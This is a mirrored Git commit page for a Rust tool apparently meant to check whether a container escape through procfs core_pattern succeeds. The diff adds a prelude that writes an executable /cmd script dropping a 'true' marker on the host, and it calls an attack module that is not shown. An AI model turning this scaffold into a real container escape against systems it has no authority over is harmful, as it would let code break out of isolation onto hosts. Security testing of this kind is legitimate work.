mirror of
https://github.com/mii443/breakout-checker.git
synced 2025-08-22 15:15:26 +00:00
add procfs core_pattern breakout
This commit is contained in:
@ -4,3 +4,4 @@ version = "0.1.0"
|
|||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
nix = { version = "0.29.0", features = ["sched", "hostname", "mount"] }
|
||||||
|
34
src/main.rs
34
src/main.rs
@ -1,3 +1,33 @@
|
|||||||
fn main() {
|
use std::{io::Write, os::unix::fs::PermissionsExt};
|
||||||
println!("Hello, world!");
|
|
||||||
|
use attacks::procfs::procfs_breakout;
|
||||||
|
|
||||||
|
mod attacks;
|
||||||
|
|
||||||
|
fn main() -> Result<(), std::io::Error> {
|
||||||
|
let args: Vec<String> = std::env::args().collect();
|
||||||
|
let host_root = &args[1].trim_end_matches("/");
|
||||||
|
println!("Breakout prelude");
|
||||||
|
prelude(host_root)?;
|
||||||
|
println!("procfs breakout");
|
||||||
|
println!("{:?}", procfs_breakout(host_root));
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn prelude(host_root: &str) -> Result<(), std::io::Error> {
|
||||||
|
let mut cmd = std::fs::File::create("/cmd")?;
|
||||||
|
cmd.metadata()?.permissions().set_mode(0o777);
|
||||||
|
|
||||||
|
cmd.write_all(
|
||||||
|
format!(
|
||||||
|
r#"#!/bin/sh
|
||||||
|
echo "true" > {}/breakout
|
||||||
|
"#,
|
||||||
|
host_root
|
||||||
|
)
|
||||||
|
.as_bytes(),
|
||||||
|
)?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
|
Reference in New Issue
Block a user